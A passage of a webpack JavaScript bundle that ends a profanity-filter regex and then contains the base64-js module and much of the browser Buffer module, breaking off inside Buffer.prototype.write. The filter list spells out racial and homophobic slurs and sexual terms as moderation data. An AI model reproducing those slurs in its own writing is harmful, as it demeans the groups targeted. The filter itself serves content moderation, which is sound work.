packer|fudgepacker|fuk|fuker|fukker|fukkin|fuks|fukwhit|fukwit|fux|fux0r|f_u_c_k|gangbang|gangbanged|gangbangs|gaylord|gaysex|goatse|God|god-dam|god-damned|goddamn|goddamned|hardcoresex|hell|heshe|hoar|hoare|hoer|homo|hore|horniest|horny|hotsex|jack-off|jackoff|jap|jerk-off|jism|jiz|jizm|jizz|kawk|knob|knobead|knobed|knobend|knobhead|knobjocky|knobjokey|kock|kondum|kondums|kum|kummer|kumming|kums|kunilingus|l3i\+ch|l3itch|labia|lust|lusting|m0f0|m0fo|m45terbate|ma5terb8|ma5terbate|masochist|master-bate|masterb8|masterbat*|masterbat3|masterbate|masterbation|masterbations|masturbate|mo-fo|mof0|mofo|mothafuck|mothafucka|mothafuckas|mothafuckaz|mothafucked|mothafucker|mothafuckers|mothafuckin|mothafucking|mothafuckings|mothafucks|mother fucker|motherfuck|motherfucked|motherfucker|motherfuckers|motherfuckin|motherfucking|motherfuckings|motherfuckka|motherfucks|muff|mutha|muthafecker|muthafuckker|muther|mutherfucker|n1gga|n1gger|nazi|nigg3r|nigg4h|nigga|niggah|niggas|niggaz|nigger|niggers|nob|nob jokey|nobhead|nobjocky|nobjokey|numbnuts|nutsack|orgasim|orgasims|orgasm|orgasms|p0rn|pawn|pecker|penis|penisfucker|phonesex|phuck|phuk|phuked|phuking|phukked|phukking|phuks|phuq|pigfucker|pimpis|piss|pissed|pisser|pissers|pisses|pissflaps|pissin|pissing|pissoff|poop|porn|porno|pornography|pornos|prick|pricks|pron|pube|pusse|pussi|pussies|pussy|pussys|rectum|retard|rimjaw|rimming|s hit|s.o.b.|sadist|schlong|screwing|scroat|scrote|scrotum|semen|sex|sh!\+|sh!t|sh1t|shag|shagger|shaggin|shagging|shemale|shi\+|shit|shitdick|shite|shited|shitey|shitfuck|shitfull|shithead|shiting|shitings|shits|shitted|shitter|shitters|shitting|shittings|shitty|skank|slut|sluts|smegma|smut|snatch|son-of-a-bitch|spac|spunk|s_h_i_t|t1tt1e5|t1tties|teets|teez|testical|testicle|tit|titfuck|tits|titt|tittie5|tittiefucker|titties|tittyfuck|tittywank|titwank|tosser|turd|tw4t|twat|twathead|twatty|twunt|twunter|v14gra|v1gra|vagina|viagra|vulva|w00se|wang|wank|wanker|wanky|whoar|whore|willies|willy|xrated|xxx)\b/gi;

                /***/ }),

            /***/ "./node_modules/base64-js/index.js":
            /*!*****************************************!*\
  !*** ./node_modules/base64-js/index.js ***!
  \*****************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";


                exports.byteLength = byteLength
                exports.toByteArray = toByteArray
                exports.fromByteArray = fromByteArray

                var lookup = []
                var revLookup = []
                var Arr = typeof Uint8Array !== 'undefined' ? Uint8Array : Array

                var code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
                for (var i = 0, len = code.length; i < len; ++i) {
                    lookup[i] = code[i]
                    revLookup[code.charCodeAt(i)] = i
                }

                // Support decoding URL-safe base64 strings, as Node.js does.
                // See: https://en.wikipedia.org/wiki/Base64#URL_applications
                revLookup['-'.charCodeAt(0)] = 62
                revLookup['_'.charCodeAt(0)] = 63

                function getLens (b64) {
                    var len = b64.length

                    if (len % 4 > 0) {
                        throw new Error('Invalid string. Length must be a multiple of 4')
                    }

                    // Trim off extra bytes after placeholder bytes are found
                    // See: https://github.com/beatgammit/base64-js/issues/42
                    var validLen = b64.indexOf('=')
                    if (validLen === -1) validLen = len

                    var placeHoldersLen = validLen === len
                    ? 0
                    : 4 - (validLen % 4)

                    return [validLen, placeHoldersLen]
                }

                // base64 is 4/3 + up to two characters of the original data
                function byteLength (b64) {
                    var lens = getLens(b64)
                    var validLen = lens[0]
                    var placeHoldersLen = lens[1]
                    return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen
                }

                function _byteLength (b64, validLen, placeHoldersLen) {
                    return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen
                }

                function toByteArray (b64) {
                    var tmp
                    var lens = getLens(b64)
                    var validLen = lens[0]
                    var placeHoldersLen = lens[1]

                    var arr = new Arr(_byteLength(b64, validLen, placeHoldersLen))

                    var curByte = 0

                    // if there are placeholders, only get up to the last complete 4 chars
                    var len = placeHoldersLen > 0
                    ? validLen - 4
                    : validLen

                    var i
                    for (i = 0; i < len; i += 4) {
                        tmp =
                            (revLookup[b64.charCodeAt(i)] << 18) |
                            (revLookup[b64.charCodeAt(i + 1)] << 12) |
                            (revLookup[b64.charCodeAt(i + 2)] << 6) |
                            revLookup[b64.charCodeAt(i + 3)]
                        arr[curByte++] = (tmp >> 16) & 0xFF
                        arr[curByte++] = (tmp >> 8) & 0xFF
                        arr[curByte++] = tmp & 0xFF
                    }

                    if (placeHoldersLen === 2) {
                        tmp =
                            (revLookup[b64.charCodeAt(i)] << 2) |
                            (revLookup[b64.charCodeAt(i + 1)] >> 4)
                        arr[curByte++] = tmp & 0xFF
                    }

                    if (placeHoldersLen === 1) {
                        tmp =
                            (revLookup[b64.charCodeAt(i)] << 10) |
                            (revLookup[b64.charCodeAt(i + 1)] << 4) |
                            (revLookup[b64.charCodeAt(i + 2)] >> 2)
                        arr[curByte++] = (tmp >> 8) & 0xFF
                        arr[curByte++] = tmp & 0xFF
                    }

                    return arr
                }

                function tripletToBase64 (num) {
                    return lookup[num >> 18 & 0x3F] +
                        lookup[num >> 12 & 0x3F] +
                        lookup[num >> 6 & 0x3F] +
                        lookup[num & 0x3F]
                }

                function encodeChunk (uint8, start, end) {
                    var tmp
                    var output = []
                    for (var i = start; i < end; i += 3) {
                        tmp =
                            ((uint8[i] << 16) & 0xFF0000) +
                            ((uint8[i + 1] << 8) & 0xFF00) +
                            (uint8[i + 2] & 0xFF)
                        output.push(tripletToBase64(tmp))
                    }
                    return output.join('')
                }

                function fromByteArray (uint8) {
                    var tmp
                    var len = uint8.length
                    var extraBytes = len % 3 // if we have 1 byte left, pad 2 bytes
                    var parts = []
                    var maxChunkLength = 16383 // must be multiple of 3

                    // go through the array every three bytes, we'll deal with trailing stuff later
                    for (var i = 0, len2 = len - extraBytes; i < len2; i += maxChunkLength) {
                        parts.push(encodeChunk(
                            uint8, i, (i + maxChunkLength) > len2 ? len2 : (i + maxChunkLength)
                        ))
                    }

                    // pad the end with zeros, but make sure to not forget the extra bytes
                    if (extraBytes === 1) {
                        tmp = uint8[len - 1]
                        parts.push(
                            lookup[tmp >> 2] +
                            lookup[(tmp << 4) & 0x3F] +
                            '=='
                        )
                    } else if (extraBytes === 2) {
                        tmp = (uint8[len - 2] << 8) + uint8[len - 1]
                        parts.push(
                            lookup[tmp >> 10] +
                            lookup[(tmp >> 4) & 0x3F] +
                            lookup[(tmp << 2) & 0x3F] +
                            '='
                        )
                    }

                    return parts.join('')
                }


                /***/ }),

            /***/ "./node_modules/buffer/index.js":
            /*!**************************************!*\
  !*** ./node_modules/buffer/index.js ***!
  \**************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";
                /* WEBPACK VAR INJECTION */(function(global) {/*!
 * The buffer module from node.js, for the browser.
 *
 * @author   Feross Aboukhadijeh <http://feross.org>
 * @license  MIT
 */
                    /* eslint-disable no-proto */



                    var base64 = __webpack_require__(/*! base64-js */ "./node_modules/base64-js/index.js")
                    var ieee754 = __webpack_require__(/*! ieee754 */ "./node_modules/ieee754/index.js")
                    var isArray = __webpack_require__(/*! isarray */ "./node_modules/buffer/node_modules/isarray/index.js")

                    exports.Buffer = Buffer
                    exports.SlowBuffer = SlowBuffer
                    exports.INSPECT_MAX_BYTES = 50

                    /**
 * If `Buffer.TYPED_ARRAY_SUPPORT`:
 *   === true    Use Uint8Array implementation (fastest)
 *   === false   Use Object implementation (most compatible, even IE6)
 *
 * Browsers that support typed arrays are IE 10+, Firefox 4+, Chrome 7+, Safari 5.1+,
 * Opera 11.6+, iOS 4.2+.
 *
 * Due to various browser bugs, sometimes the Object implementation will be used even
 * when the browser supports typed arrays.
 *
 * Note:
 *
 *   - Firefox 4-29 lacks support for adding new properties to `Uint8Array` instances,
 *     See: https://bugzilla.mozilla.org/show_bug.cgi?id=695438.
 *
 *   - Chrome 9-10 is missing the `TypedArray.prototype.subarray` function.
 *
 *   - IE10 has a broken `TypedArray.prototype.subarray` function which returns arrays of
 *     incorrect length in some situations.

 * We detect these buggy browsers and set `Buffer.TYPED_ARRAY_SUPPORT` to `false` so they
 * get the Object implementation, which is slower but behaves correctly.
 */
                    Buffer.TYPED_ARRAY_SUPPORT = global.TYPED_ARRAY_SUPPORT !== undefined
                        ? global.TYPED_ARRAY_SUPPORT
                    : typedArraySupport()

                    /*
 * Export kMaxLength after typed array support is determined.
 */
                    exports.kMaxLength = kMaxLength()

                    function typedArraySupport () {
                        try {
                            var arr = new Uint8Array(1)
                            arr.__proto__ = {__proto__: Uint8Array.prototype, foo: function () { return 42 }}
                            return arr.foo() === 42 && // typed array instances can be augmented
                                typeof arr.subarray === 'function' && // chrome 9-10 lack `subarray`
                                arr.subarray(1, 1).byteLength === 0 // ie10 has broken `subarray`
                        } catch (e) {
                            return false
                        }
                    }

                    function kMaxLength () {
                        return Buffer.TYPED_ARRAY_SUPPORT
                            ? 0x7fffffff
                        : 0x3fffffff
                    }

                    function createBuffer (that, length) {
                        if (kMaxLength() < length) {
                            throw new RangeError('Invalid typed array length')
                        }
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            // Return an augmented `Uint8Array` instance, for best performance
                            that = new Uint8Array(length)
                            that.__proto__ = Buffer.prototype
                        } else {
                            // Fallback: Return an object instance of the Buffer class
                            if (that === null) {
                                that = new Buffer(length)
                            }
                            that.length = length
                        }

                        return that
                    }

                    /**
 * The Buffer constructor returns instances of `Uint8Array` that have their
 * prototype changed to `Buffer.prototype`. Furthermore, `Buffer` is a subclass of
 * `Uint8Array`, so the returned instances will have all the node `Buffer` methods
 * and the `Uint8Array` methods. Square bracket notation works as expected -- it
 * returns a single octet.
 *
 * The `Uint8Array` prototype remains unmodified.
 */

                    function Buffer (arg, encodingOrOffset, length) {
                        if (!Buffer.TYPED_ARRAY_SUPPORT && !(this instanceof Buffer)) {
                            return new Buffer(arg, encodingOrOffset, length)
                        }

                        // Common case.
                        if (typeof arg === 'number') {
                            if (typeof encodingOrOffset === 'string') {
                                throw new Error(
                                    'If encoding is specified then the first argument must be a string'
                                )
                            }
                            return allocUnsafe(this, arg)
                        }
                        return from(this, arg, encodingOrOffset, length)
                    }

                    Buffer.poolSize = 8192 // not used by this implementation

                    // TODO: Legacy, not needed anymore. Remove in next major version.
                    Buffer._augment = function (arr) {
                        arr.__proto__ = Buffer.prototype
                        return arr
                    }

                    function from (that, value, encodingOrOffset, length) {
                        if (typeof value === 'number') {
                            throw new TypeError('"value" argument must not be a number')
                        }

                        if (typeof ArrayBuffer !== 'undefined' && value instanceof ArrayBuffer) {
                            return fromArrayBuffer(that, value, encodingOrOffset, length)
                        }

                        if (typeof value === 'string') {
                            return fromString(that, value, encodingOrOffset)
                        }

                        return fromObject(that, value)
                    }

                    /**
 * Functionally equivalent to Buffer(arg, encoding) but throws a TypeError
 * if value is a number.
 * Buffer.from(str[, encoding])
 * Buffer.from(array)
 * Buffer.from(buffer)
 * Buffer.from(arrayBuffer[, byteOffset[, length]])
 **/
                    Buffer.from = function (value, encodingOrOffset, length) {
                        return from(null, value, encodingOrOffset, length)
                    }

                    if (Buffer.TYPED_ARRAY_SUPPORT) {
                        Buffer.prototype.__proto__ = Uint8Array.prototype
                        Buffer.__proto__ = Uint8Array
                        if (typeof Symbol !== 'undefined' && Symbol.species &&
                            Buffer[Symbol.species] === Buffer) {
                            // Fix subarray() in ES2016. See: https://github.com/feross/buffer/pull/97
                            Object.defineProperty(Buffer, Symbol.species, {
                                value: null,
                                configurable: true
                            })
                        }
                    }

                    function assertSize (size) {
                        if (typeof size !== 'number') {
                            throw new TypeError('"size" argument must be a number')
                        } else if (size < 0) {
                            throw new RangeError('"size" argument must not be negative')
                        }
                    }

                    function alloc (that, size, fill, encoding) {
                        assertSize(size)
                        if (size <= 0) {
                            return createBuffer(that, size)
                        }
                        if (fill !== undefined) {
                            // Only pay attention to encoding if it's a string. This
                            // prevents accidentally sending in a number that would
                            // be interpretted as a start offset.
                            return typeof encoding === 'string'
                                ? createBuffer(that, size).fill(fill, encoding)
                            : createBuffer(that, size).fill(fill)
                        }
                        return createBuffer(that, size)
                    }

                    /**
 * Creates a new filled Buffer instance.
 * alloc(size[, fill[, encoding]])
 **/
                    Buffer.alloc = function (size, fill, encoding) {
                        return alloc(null, size, fill, encoding)
                    }

                    function allocUnsafe (that, size) {
                        assertSize(size)
                        that = createBuffer(that, size < 0 ? 0 : checked(size) | 0)
                        if (!Buffer.TYPED_ARRAY_SUPPORT) {
                            for (var i = 0; i < size; ++i) {
                                that[i] = 0
                            }
                        }
                        return that
                    }

                    /**
 * Equivalent to Buffer(num), by default creates a non-zero-filled Buffer instance.
 * */
                    Buffer.allocUnsafe = function (size) {
                        return allocUnsafe(null, size)
                    }
                    /**
 * Equivalent to SlowBuffer(num), by default creates a non-zero-filled Buffer instance.
 */
                    Buffer.allocUnsafeSlow = function (size) {
                        return allocUnsafe(null, size)
                    }

                    function fromString (that, string, encoding) {
                        if (typeof encoding !== 'string' || encoding === '') {
                            encoding = 'utf8'
                        }

                        if (!Buffer.isEncoding(encoding)) {
                            throw new TypeError('"encoding" must be a valid string encoding')
                        }

                        var length = byteLength(string, encoding) | 0
                        that = createBuffer(that, length)

                        var actual = that.write(string, encoding)

                        if (actual !== length) {
                            // Writing a hex string, for example, that contains invalid characters will
                            // cause everything after the first invalid character to be ignored. (e.g.
                            // 'abxxcd' will be treated as 'ab')
                            that = that.slice(0, actual)
                        }

                        return that
                    }

                    function fromArrayLike (that, array) {
                        var length = array.length < 0 ? 0 : checked(array.length) | 0
                        that = createBuffer(that, length)
                        for (var i = 0; i < length; i += 1) {
                            that[i] = array[i] & 255
                        }
                        return that
                    }

                    function fromArrayBuffer (that, array, byteOffset, length) {
                        array.byteLength // this throws if `array` is not a valid ArrayBuffer

                        if (byteOffset < 0 || array.byteLength < byteOffset) {
                            throw new RangeError('\'offset\' is out of bounds')
                        }

                        if (array.byteLength < byteOffset + (length || 0)) {
                            throw new RangeError('\'length\' is out of bounds')
                        }

                        if (byteOffset === undefined && length === undefined) {
                            array = new Uint8Array(array)
                        } else if (length === undefined) {
                            array = new Uint8Array(array, byteOffset)
                        } else {
                            array = new Uint8Array(array, byteOffset, length)
                        }

                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            // Return an augmented `Uint8Array` instance, for best performance
                            that = array
                            that.__proto__ = Buffer.prototype
                        } else {
                            // Fallback: Return an object instance of the Buffer class
                            that = fromArrayLike(that, array)
                        }
                        return that
                    }

                    function fromObject (that, obj) {
                        if (Buffer.isBuffer(obj)) {
                            var len = checked(obj.length) | 0
                            that = createBuffer(that, len)

                            if (that.length === 0) {
                                return that
                            }

                            obj.copy(that, 0, 0, len)
                            return that
                        }

                        if (obj) {
                            if ((typeof ArrayBuffer !== 'undefined' &&
                                 obj.buffer instanceof ArrayBuffer) || 'length' in obj) {
                                if (typeof obj.length !== 'number' || isnan(obj.length)) {
                                    return createBuffer(that, 0)
                                }
                                return fromArrayLike(that, obj)
                            }

                            if (obj.type === 'Buffer' && isArray(obj.data)) {
                                return fromArrayLike(that, obj.data)
                            }
                        }

                        throw new TypeError('First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.')
                    }

                    function checked (length) {
                        // Note: cannot use `length < kMaxLength()` here because that fails when
                        // length is NaN (which is otherwise coerced to zero.)
                        if (length >= kMaxLength()) {
                            throw new RangeError('Attempt to allocate Buffer larger than maximum ' +
                                                 'size: 0x' + kMaxLength().toString(16) + ' bytes')
                        }
                        return length | 0
                    }

                    function SlowBuffer (length) {
                        if (+length != length) { // eslint-disable-line eqeqeq
                            length = 0
                        }
                        return Buffer.alloc(+length)
                    }

                    Buffer.isBuffer = function isBuffer (b) {
                        return !!(b != null && b._isBuffer)
                    }

                    Buffer.compare = function compare (a, b) {
                        if (!Buffer.isBuffer(a) || !Buffer.isBuffer(b)) {
                            throw new TypeError('Arguments must be Buffers')
                        }

                        if (a === b) return 0

                        var x = a.length
                        var y = b.length

                        for (var i = 0, len = Math.min(x, y); i < len; ++i) {
                            if (a[i] !== b[i]) {
                                x = a[i]
                                y = b[i]
                                break
                            }
                        }

                        if (x < y) return -1
                        if (y < x) return 1
                        return 0
                    }

                    Buffer.isEncoding = function isEncoding (encoding) {
                        switch (String(encoding).toLowerCase()) {
                            case 'hex':
                            case 'utf8':
                            case 'utf-8':
                            case 'ascii':
                            case 'latin1':
                            case 'binary':
                            case 'base64':
                            case 'ucs2':
                            case 'ucs-2':
                            case 'utf16le':
                            case 'utf-16le':
                                return true
                            default:
                                return false
                        }
                    }

                    Buffer.concat = function concat (list, length) {
                        if (!isArray(list)) {
                            throw new TypeError('"list" argument must be an Array of Buffers')
                        }

                        if (list.length === 0) {
                            return Buffer.alloc(0)
                        }

                        var i
                        if (length === undefined) {
                            length = 0
                            for (i = 0; i < list.length; ++i) {
                                length += list[i].length
                            }
                        }

                        var buffer = Buffer.allocUnsafe(length)
                        var pos = 0
                        for (i = 0; i < list.length; ++i) {
                            var buf = list[i]
                            if (!Buffer.isBuffer(buf)) {
                                throw new TypeError('"list" argument must be an Array of Buffers')
                            }
                            buf.copy(buffer, pos)
                            pos += buf.length
                        }
                        return buffer
                    }

                    function byteLength (string, encoding) {
                        if (Buffer.isBuffer(string)) {
                            return string.length
                        }
                        if (typeof ArrayBuffer !== 'undefined' && typeof ArrayBuffer.isView === 'function' &&
                            (ArrayBuffer.isView(string) || string instanceof ArrayBuffer)) {
                            return string.byteLength
                        }
                        if (typeof string !== 'string') {
                            string = '' + string
                        }

                        var len = string.length
                        if (len === 0) return 0

                        // Use a for loop to avoid recursion
                        var loweredCase = false
                        for (;;) {
                            switch (encoding) {
                                case 'ascii':
                                case 'latin1':
                                case 'binary':
                                    return len
                                case 'utf8':
                                case 'utf-8':
                                case undefined:
                                    return utf8ToBytes(string).length
                                case 'ucs2':
                                case 'ucs-2':
                                case 'utf16le':
                                case 'utf-16le':
                                    return len * 2
                                case 'hex':
                                    return len >>> 1
                                case 'base64':
                                    return base64ToBytes(string).length
                                default:
                                    if (loweredCase) return utf8ToBytes(string).length // assume utf8
                                    encoding = ('' + encoding).toLowerCase()
                                    loweredCase = true
                            }
                        }
                    }
                    Buffer.byteLength = byteLength

                    function slowToString (encoding, start, end) {
                        var loweredCase = false

                        // No need to verify that "this.length <= MAX_UINT32" since it's a read-only
                        // property of a typed array.

                        // This behaves neither like String nor Uint8Array in that we set start/end
                        // to their upper/lower bounds if the value passed is out of range.
                        // undefined is handled specially as per ECMA-262 6th Edition,
                        // Section 13.3.3.7 Runtime Semantics: KeyedBindingInitialization.
                        if (start === undefined || start < 0) {
                            start = 0
                        }
                        // Return early if start > this.length. Done here to prevent potential uint32
                        // coercion fail below.
                        if (start > this.length) {
                            return ''
                        }

                        if (end === undefined || end > this.length) {
                            end = this.length
                        }

                        if (end <= 0) {
                            return ''
                        }

                        // Force coersion to uint32. This will also coerce falsey/NaN values to 0.
                        end >>>= 0
                        start >>>= 0

                        if (end <= start) {
                            return ''
                        }

                        if (!encoding) encoding = 'utf8'

                        while (true) {
                            switch (encoding) {
                                case 'hex':
                                    return hexSlice(this, start, end)

                                case 'utf8':
                                case 'utf-8':
                                    return utf8Slice(this, start, end)

                                case 'ascii':
                                    return asciiSlice(this, start, end)

                                case 'latin1':
                                case 'binary':
                                    return latin1Slice(this, start, end)

                                case 'base64':
                                    return base64Slice(this, start, end)

                                case 'ucs2':
                                case 'ucs-2':
                                case 'utf16le':
                                case 'utf-16le':
                                    return utf16leSlice(this, start, end)

                                default:
                                    if (loweredCase) throw new TypeError('Unknown encoding: ' + encoding)
                                    encoding = (encoding + '').toLowerCase()
                                    loweredCase = true
                            }
                        }
                    }

                    // The property is used by `Buffer.isBuffer` and `is-buffer` (in Safari 5-7) to detect
                    // Buffer instances.
                    Buffer.prototype._isBuffer = true

                    function swap (b, n, m) {
                        var i = b[n]
                        b[n] = b[m]
                        b[m] = i
                    }

                    Buffer.prototype.swap16 = function swap16 () {
                        var len = this.length
                        if (len % 2 !== 0) {
                            throw new RangeError('Buffer size must be a multiple of 16-bits')
                        }
                        for (var i = 0; i < len; i += 2) {
                            swap(this, i, i + 1)
                        }
                        return this
                    }

                    Buffer.prototype.swap32 = function swap32 () {
                        var len = this.length
                        if (len % 4 !== 0) {
                            throw new RangeError('Buffer size must be a multiple of 32-bits')
                        }
                        for (var i = 0; i < len; i += 4) {
                            swap(this, i, i + 3)
                            swap(this, i + 1, i + 2)
                        }
                        return this
                    }

                    Buffer.prototype.swap64 = function swap64 () {
                        var len = this.length
                        if (len % 8 !== 0) {
                            throw new RangeError('Buffer size must be a multiple of 64-bits')
                        }
                        for (var i = 0; i < len; i += 8) {
                            swap(this, i, i + 7)
                            swap(this, i + 1, i + 6)
                            swap(this, i + 2, i + 5)
                            swap(this, i + 3, i + 4)
                        }
                        return this
                    }

                    Buffer.prototype.toString = function toString () {
                        var length = this.length | 0
                        if (length === 0) return ''
                        if (arguments.length === 0) return utf8Slice(this, 0, length)
                        return slowToString.apply(this, arguments)
                    }

                    Buffer.prototype.equals = function equals (b) {
                        if (!Buffer.isBuffer(b)) throw new TypeError('Argument must be a Buffer')
                        if (this === b) return true
                        return Buffer.compare(this, b) === 0
                    }

                    Buffer.prototype.inspect = function inspect () {
                        var str = ''
                        var max = exports.INSPECT_MAX_BYTES
                        if (this.length > 0) {
                            str = this.toString('hex', 0, max).match(/.{2}/g).join(' ')
                            if (this.length > max) str += ' ... '
                        }
                        return '<Buffer ' + str + '>'
                    }

                    Buffer.prototype.compare = function compare (target, start, end, thisStart, thisEnd) {
                        if (!Buffer.isBuffer(target)) {
                            throw new TypeError('Argument must be a Buffer')
                        }

                        if (start === undefined) {
                            start = 0
                        }
                        if (end === undefined) {
                            end = target ? target.length : 0
                        }
                        if (thisStart === undefined) {
                            thisStart = 0
                        }
                        if (thisEnd === undefined) {
                            thisEnd = this.length
                        }

                        if (start < 0 || end > target.length || thisStart < 0 || thisEnd > this.length) {
                            throw new RangeError('out of range index')
                        }

                        if (thisStart >= thisEnd && start >= end) {
                            return 0
                        }
                        if (thisStart >= thisEnd) {
                            return -1
                        }
                        if (start >= end) {
                            return 1
                        }

                        start >>>= 0
                        end >>>= 0
                        thisStart >>>= 0
                        thisEnd >>>= 0

                        if (this === target) return 0

                        var x = thisEnd - thisStart
                        var y = end - start
                        var len = Math.min(x, y)

                        var thisCopy = this.slice(thisStart, thisEnd)
                        var targetCopy = target.slice(start, end)

                        for (var i = 0; i < len; ++i) {
                            if (thisCopy[i] !== targetCopy[i]) {
                                x = thisCopy[i]
                                y = targetCopy[i]
                                break
                            }
                        }

                        if (x < y) return -1
                        if (y < x) return 1
                        return 0
                    }

                    // Finds either the first index of `val` in `buffer` at offset >= `byteOffset`,
                    // OR the last index of `val` in `buffer` at offset <= `byteOffset`.
                    //
                    // Arguments:
                    // - buffer - a Buffer to search
                    // - val - a string, Buffer, or number
                    // - byteOffset - an index into `buffer`; will be clamped to an int32
                    // - encoding - an optional encoding, relevant is val is a string
                    // - dir - true for indexOf, false for lastIndexOf
                    function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {
                        // Empty buffer means no match
                        if (buffer.length === 0) return -1

                        // Normalize byteOffset
                        if (typeof byteOffset === 'string') {
                            encoding = byteOffset
                            byteOffset = 0
                        } else if (byteOffset > 0x7fffffff) {
                            byteOffset = 0x7fffffff
                        } else if (byteOffset < -0x80000000) {
                            byteOffset = -0x80000000
                        }
                        byteOffset = +byteOffset  // Coerce to Number.
                        if (isNaN(byteOffset)) {
                            // byteOffset: it it's undefined, null, NaN, "foo", etc, search whole buffer
                            byteOffset = dir ? 0 : (buffer.length - 1)
                        }

                        // Normalize byteOffset: negative offsets start from the end of the buffer
                        if (byteOffset < 0) byteOffset = buffer.length + byteOffset
                        if (byteOffset >= buffer.length) {
                            if (dir) return -1
                            else byteOffset = buffer.length - 1
                        } else if (byteOffset < 0) {
                            if (dir) byteOffset = 0
                            else return -1
                        }

                        // Normalize val
                        if (typeof val === 'string') {
                            val = Buffer.from(val, encoding)
                        }

                        // Finally, search either indexOf (if dir is true) or lastIndexOf
                        if (Buffer.isBuffer(val)) {
                            // Special case: looking for empty string/buffer always fails
                            if (val.length === 0) {
                                return -1
                            }
                            return arrayIndexOf(buffer, val, byteOffset, encoding, dir)
                        } else if (typeof val === 'number') {
                            val = val & 0xFF // Search for a byte value [0-255]
                            if (Buffer.TYPED_ARRAY_SUPPORT &&
                                typeof Uint8Array.prototype.indexOf === 'function') {
                                if (dir) {
                                    return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)
                                } else {
                                    return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)
                                }
                            }
                            return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)
                        }

                        throw new TypeError('val must be string, number or Buffer')
                    }

                    function arrayIndexOf (arr, val, byteOffset, encoding, dir) {
                        var indexSize = 1
                        var arrLength = arr.length
                        var valLength = val.length

                        if (encoding !== undefined) {
                            encoding = String(encoding).toLowerCase()
                            if (encoding === 'ucs2' || encoding === 'ucs-2' ||
                                encoding === 'utf16le' || encoding === 'utf-16le') {
                                if (arr.length < 2 || val.length < 2) {
                                    return -1
                                }
                                indexSize = 2
                                arrLength /= 2
                                valLength /= 2
                                byteOffset /= 2
                            }
                        }

                        function read (buf, i) {
                            if (indexSize === 1) {
                                return buf[i]
                            } else {
                                return buf.readUInt16BE(i * indexSize)
                            }
                        }

                        var i
                        if (dir) {
                            var foundIndex = -1
                            for (i = byteOffset; i < arrLength; i++) {
                                if (read(arr, i) === read(val, foundIndex === -1 ? 0 : i - foundIndex)) {
                                    if (foundIndex === -1) foundIndex = i
                                    if (i - foundIndex + 1 === valLength) return foundIndex * indexSize
                                } else {
                                    if (foundIndex !== -1) i -= i - foundIndex
                                    foundIndex = -1
                                }
                            }
                        } else {
                            if (byteOffset + valLength > arrLength) byteOffset = arrLength - valLength
                            for (i = byteOffset; i >= 0; i--) {
                                var found = true
                                for (var j = 0; j < valLength; j++) {
                                    if (read(arr, i + j) !== read(val, j)) {
                                        found = false
                                        break
                                    }
                                }
                                if (found) return i
                            }
                        }

                        return -1
                    }

                    Buffer.prototype.includes = function includes (val, byteOffset, encoding) {
                        return this.indexOf(val, byteOffset, encoding) !== -1
                    }

                    Buffer.prototype.indexOf = function indexOf (val, byteOffset, encoding) {
                        return bidirectionalIndexOf(this, val, byteOffset, encoding, true)
                    }

                    Buffer.prototype.lastIndexOf = function lastIndexOf (val, byteOffset, encoding) {
                        return bidirectionalIndexOf(this, val, byteOffset, encoding, false)
                    }

                    function hexWrite (buf, string, offset, length) {
                        offset = Number(offset) || 0
                        var remaining = buf.length - offset
                        if (!length) {
                            length = remaining
                        } else {
                            length = Number(length)
                            if (length > remaining) {
                                length = remaining
                            }
                        }

                        // must be an even number of digits
                        var strLen = string.length
                        if (strLen % 2 !== 0) throw new TypeError('Invalid hex string')

                        if (length > strLen / 2) {
                            length = strLen / 2
                        }
                        for (var i = 0; i < length; ++i) {
                            var parsed = parseInt(string.substr(i * 2, 2), 16)
                            if (isNaN(parsed)) return i
                            buf[offset + i] = parsed
                        }
                        return i
                    }

                    function utf8Write (buf, string, offset, length) {
                        return blitBuffer(utf8ToBytes(string, buf.length - offset), buf, offset, length)
                    }

                    function asciiWrite (buf, string, offset, length) {
                        return blitBuffer(asciiToBytes(string), buf, offset, length)
                    }

                    function latin1Write (buf, string, offset, length) {
                        return asciiWrite(buf, string, offset, length)
                    }

                    function base64Write (buf, string, offset, length) {
                        return blitBuffer(base64ToBytes(string), buf, offset, length)
                    }

                    function ucs2Write (buf, string, offset, length) {
                        return blitBuffer(utf16leToBytes(string, buf.length - offset), buf, offset, length)
                    }

                    Buffer.prototype.write = function write (string, offset, length, encoding) {
                        // Buffer#write(string)
                        if (offset === undefined) {
                            encoding = 'utf8'
                            length = this.length
                            offset = 0
                            // Buffer#write(string, encoding)
                        } else if (length === undefined && typeof offset === 'string') {
                            encoding = offset
                            length = this.length
                            offset = 0
                            // Buffer#write(string, offset[, length][, encoding])
                        } else if (isFinite(offset)) {
                            offset = offset | 0
                            if (isFinite(length)) {
                                length = length | 0
                                if (encoding === undefined) encoding = 'utf8'
                            } else {
                                encoding = length
                                length = undefined
                            }
                            // legacy write(string, encoding, offset, length) - remove in v0.13
                        } else {
                            throw new Error(
                                'Buffer.write(string, encoding, offset[, length]) is no longer supported'
                            )
                        }

                        var remaining = this.length - offset
                        if (length === undefined || length > remaining) length = remaining

                        if ((string.length > 0 && (length < 0 || offset < 0)) || offset > this.length) {
                            throw new RangeError('Attempt to write outside buffer bounds')
                        }

                        if (!encoding) encoding = 'utf8'

                        var loweredCase = false
                        for (;;) {
                            switch (encoding) {
                                case 'hex':
                                    return hexWrite(this, string, offset, length)

                                case 'utf8':
                                case 'utf-8':
                                    return utf8Write(this, string, offset, length)

                                case 'ascii':
                                    return asciiWrite(this, string, offset, length)

                                case 'latin1':
                                case 'binary':
                                    return latin1Write(this, string, offset, length)

                                case 'base64':
                                    // Warning: maxLength not taken into account in base64Write
                                    return base64Write(this, string, offset, length)

                                case 'ucs2':
                                case 'ucs-2':
                                case 'utf16le':
                                case 'utf-16le':
                                    return ucs2Write(this, string, offset, length)

                                default:
                                    if (loweredCase) throw new TypeError('Unknown encoding: ' + encoding)
